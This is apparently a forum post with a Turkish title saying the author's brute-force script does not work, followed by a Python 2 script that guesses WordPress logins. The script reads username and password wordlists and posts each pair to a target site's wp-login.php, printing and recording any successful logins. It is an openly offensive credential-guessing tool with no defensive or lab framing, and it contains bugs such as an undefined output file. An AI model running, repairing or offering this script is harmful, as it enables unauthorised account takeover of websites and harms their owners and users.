Python Brute Force Yazdım Çalışmıyor.

# -*- coding: UTF-8 -*-

import requests


def wpbrute():
    url = raw_input("enter url: ")
    nick = raw_input("enter nick folder: ")
    pas = raw_input("enter password folder: ")
    url_tag = url + "wp-login.php"
    
    a = open(nick,'r')
    x = a.readlines()
    
    b = open(pas, 'r')
    z = b.readlines()
    
    for i in x:
        username = i.replace("\n", "")
        for c in z:
            sifre = c.replace("\n", "")
            
            payload = {'log': username, 'pwd': sifre}
            r = requests.get(url_tag, timeout=4)
            if r.status_code == 200 and "pwd" in r.text:
                r = requests.post(url_tag, data=payload)
                if "Log Out" in r.text or "Log out" in r.text:
                    print "Access! \n login succesfull..."
                    print username +" : "+sifre
                    accesses.write("\n" + url_tag + "\n" + username + " " + sifre)
                else:
                    print "nope"
                    break
            else:
                print "Connection error..."
                    
wpbrute()